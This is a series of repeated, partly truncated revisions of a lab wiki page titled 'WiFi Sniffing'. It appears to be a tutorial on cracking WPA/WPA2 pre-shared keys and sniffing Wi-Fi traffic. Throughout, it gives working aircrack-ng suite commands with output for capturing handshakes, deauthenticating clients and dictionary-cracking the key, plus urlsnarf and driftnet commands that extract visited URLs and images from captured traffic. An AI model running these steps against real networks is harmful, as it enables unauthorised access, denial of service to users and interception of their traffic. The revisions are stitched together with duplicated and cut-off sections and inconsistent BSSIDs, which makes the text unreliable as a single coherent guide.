68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files

The ouput looks as follows:

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T11:52:18Z

MMehlfuehrer: /* Description */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP:
*Wireless interface:

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

Note:
In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.#

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key. The captured data is stored in a file called CapturedData (used in Step 2 : -w CapturedData).
One can use a dictionary which comes with aircrack-ng called "password.lst". But for the sake of this tutorial i opened a file and wrote the password of the AP in it. Using the command:

aircrack-ng -w password.lst -b 69:02:B8:1F:A1:3A CapturedData*.cap

-w password.lst is the used dictionary
-b is the BSSID of the AP
The wildcard at the end of CapturedData is because aircrack-ng created multiple files.

---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T11:41:40Z

MMehlfuehrer: /* Description */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP:
*Wireless interface:

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 --bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

CH 11 ][ Elapsed: 12 s ][ 2021-12-17 11:38 4-Way Handshake CAPTURED
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -48 24 63 62 2 11 130 WPA2 CCMP PSK WLAN18250073
BSSID STATION PWR Rate Lost Frames Notes Probes
68:02:B8:1F:A1:3A 5C:5F:67:29:51:76 -18 0e- 0e 3 62
68:02:B8:1F:A1:3A 66:60:B5:63:1F:B9 -58 0 - 1 0 2

In the top right corner it says 4-way Handshake CAPTURED. This is just a placeholder edited in. Nothing is stated there until a handshake is captured. When captured is says: [WPA handshake: 68:02:B8:1F:A1:3A.
Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>.
It is important to state, that while a client is deauthenticated the tool used in Step 2 still needes to be running to capture the packets!

aireplay-ng -0 10 -a 69:02:B8:1F:A1:3A -c 34:B2:0A:7D:17:77 wlan0mon

the output:

11:21:15 Waiting for beacon frame (BSSID: 68:02:B8:1F:A1:3A) on channel 11
11:21:16 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|54 ACKs]
11:21:17 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|59 ACKs]
11:21:18 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|73 ACKs]
11:21:19 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|61 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|52 ACKs]
11:21:20 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|65 ACKs]
11:21:21 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|60 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|63 ACKs]
11:21:22 Sending 64 directed DeAuth (code 7). STMAC: [34:B2:0A:7D:17:77] [ 0|66 ACKs]

=== Step 4 - Use aircrack-ng to crack the key using the collected handshake ===

In this step the captured 4-way handshake is used to crack the pre-shared key.
---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
! Browser !! urlsnarf !! driftnet
|-
| Microsoft Edge (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Windows 10 host) || no results reading the pcap file || no results reading the pcap file
|-
| Google Chrome (Android host) || no results reading the pcap file || no results reading the pcap file
|-
| Samsung Internet (Android host) || URLs captured || images captured
|-
|}

== Used Hardware ==

* Windows 10 host
* Kali Linux host
* Samsung Galaxy A8
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]

== References ==

* https://www.androidauthority.com/capture-data-open-wi-fi-726356/
* https://www.aircrack-ng.org/doku.php?id=airmon-ng
* https://www.aircrack-ng.org/doku.php?id=airodump-ng
* https://www.aircrack-ng.org/doku.php?id=injection_test
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa
[[Category:Documentation]]

WiFi Sniffing

2021-12-17T11:18:49Z

MMehlfuehrer: /* Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network */

== Summary ==

Sniff Wi-Fi traffic using wireless interfaces supporting [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] and [https://en.wikipedia.org/wiki/Packet_injection packet injection] (*).
WPA/WPA2 uses various types for authentication. Aircrack-ng is only capable of cracking pre-shared keys! Meaning only networks using PSK can be attacked. (To determine if a network uses PSK, airodump-ng is used). The method used to crack the pre-shared key is a plain brute force attack. This means the PSK needs to be in the used dictionary for the brute force attack. If it is not in the list, aircrack-ng can not determine the key.
For WPA/WPA2 cracking the initial 4-way handshake is needed. This handshake is conducted between a client and the AP, when a client tries to connect to the network.

== Requirements ==

* Operating system: [https://www.kali.org/downloads/12/ Kali Linux 64 Bit]
* Wireless card: One that can inject packets [https://www.aircrack-ng.org/doku.php?id=injection_test Injection test]
*

== Prerequisites==

The following information of the hardware used is needed:
*MAC of PC running the attack:
*MAC of a wireless client in the network:
*BSSID:
*ESSID:
*Channel used by AP:
*Wireless interface:

== Description ==
=== Overview ===
The following steps are needed to get the password:

1) Use monitor mode on the wireless interface using the AP channel

2) Using airodump-ng on AP channel, collecting needed handshake

3) Use aireplay-ng to deauthenticate a wireless client in the network

4) Use aircrack-ng to crack the key using the collected handshake

=== Step 1 - Use monitor mode on the wireless interface using the AP channel ===

To listen to every packet in the air the wireless card needs to be in monitor mode. If a wireless card is not in monitor mode it will only catch every packet addressed to itself. When listenting to every packet send an attacker eventually captures a 4-way handshake used to crack WPA/WPA2. Additionaly one can deauthenticate wireless clients, explained in a later step.

Depending on the driver used by the card, different methods need to used to enable monitor mode. This tutorial only shows the procedure for the madwifi-ng driver, for further information look at [https://www.aircrack-ng.org/doku.php?id=cracking_wpa aircrack-ng]'s tutorial

Open a terminal and type :

airmon-ng

to determine the driver your card is using. The ouput with a wireless card from Atheros is the following:

PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Qualcomm Atheros Communications AR9271 802.11n

The next step is to switch to monitor mode. Syntax: airmon-ng start <interface> <channel used by AP>. Because we dont know the used channel from the AP we only start the monitoring mode without a specific channel:

airmon-ng start wlan0

Ouput:

Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
605 NetworkManager
2948 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0mon ath9k_htc Qualcomm Atheros Communications AR9271 802.11n
(mac80211 monitor mode already enabled for [phy0]wlan0mon on [phy0]wlan0mon)

Now we can check if the interface is in monitormode using iwconfig:

iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
tun0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off

As we can see the interface changed the name from wlan0 to wlan0mon and uses the monitor mode. With airodump-ng <interface> we can monitor all AP's within reach.

airodump-ng wlan0mon

The output presented shows all AP's with information like ESSUD, BSSID, PWR, beacons, channels, encryption, cipher and authentication methods used

CH 4 ][ Elapsed: 1 min ][ 2021-12-17 10:40
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:02:B8:1F:A1:3A -50 46 31 0 11 130 WPA2 CCMP PSK WLAN18250073

Important for the further attack is the BSSID (69:02:B8:1F:A1:3A) and the used channel (11).

=== Step 2 - Using airodump-ng on AP channel, collecting needed handshake ===

Now we got the BSSID and channel of the AP we can start capturing the 4-way handshake. With the command airodump-ng -c <channel> --bssid <bssid> -w <filename> <interface>

airodump-ng -c 11 -bssid 68:02:B8:1F:A1:3A -w CapturedData wlan0mon

Ouput:

output muss noch rein

Now the tool starts collecting every packet from this AP. It can take quite a while, until a 4-way handshake is made. Step 3 helps to speed things up.

=== Step 3 - Use aireplay-ng to deauthenticate a wireless client in the network ===

A faster way to capture the 4-way handshake is to connect with an additional client to the wireless network manualy. When connecting to the new network, the AP starts the 4-way handshake. Because this is impractical an attacker can deauthenticate clients already connected to WiFi network to reinitialize the 4-way handshake. BSSID and MAC of the device to deauthenticate are needed to conduct the attack.
Deauthenication is started with aireplay-ng -0 <number of deauths to send> -a <BSSID> -c <MAC of client> <interface>

aireplay-ng -0 10 -a
---------------------------------------------------------------
Display your wireless interfaces:

iwconfig

Connect the external Wi-Fi adapter to your host computer.

iwconfig

The newly added interface in the list is the external adapter. In my case it was 'wlan1'. In the following steps I refer to the external adapter as 'wlan1'.

Start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the external adapter (**):

airmon-ng start wlan1

The previous command creates a new interface called 'wlan1mon'. Verify with:

iwconfig

Display active Wi-Fi networks:

airodump-ng wlan1mon

Remember the channel of the network you want to attack. In my case it was channel 11.

Set your adapter to the appropriate channel:

iwconfig wlan1mon channel 11

Verify the frequency:

iwconfig wlan1mon
iwlist channel

Start capturing data:

airodump-ng --channel 11 -w alfa wlan1mon

Filter URLs from captured traffic:

urlsnarf -p alfa-01.cap

Filter pictures from captured traffic:

driftnet -f alfa-01.cap -a -d Pictures/

Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:

airmon-ng stop wlan1mon

----
(*) Test if the adapter supports injection:

aireplay-ng -9 wlan1mon

Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].

(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:

ifconfig wlan1 down
iwconfig wlan1 mode monitor
ifconfig wlan1 up

== Results ==

{| class="wikitable"
|-
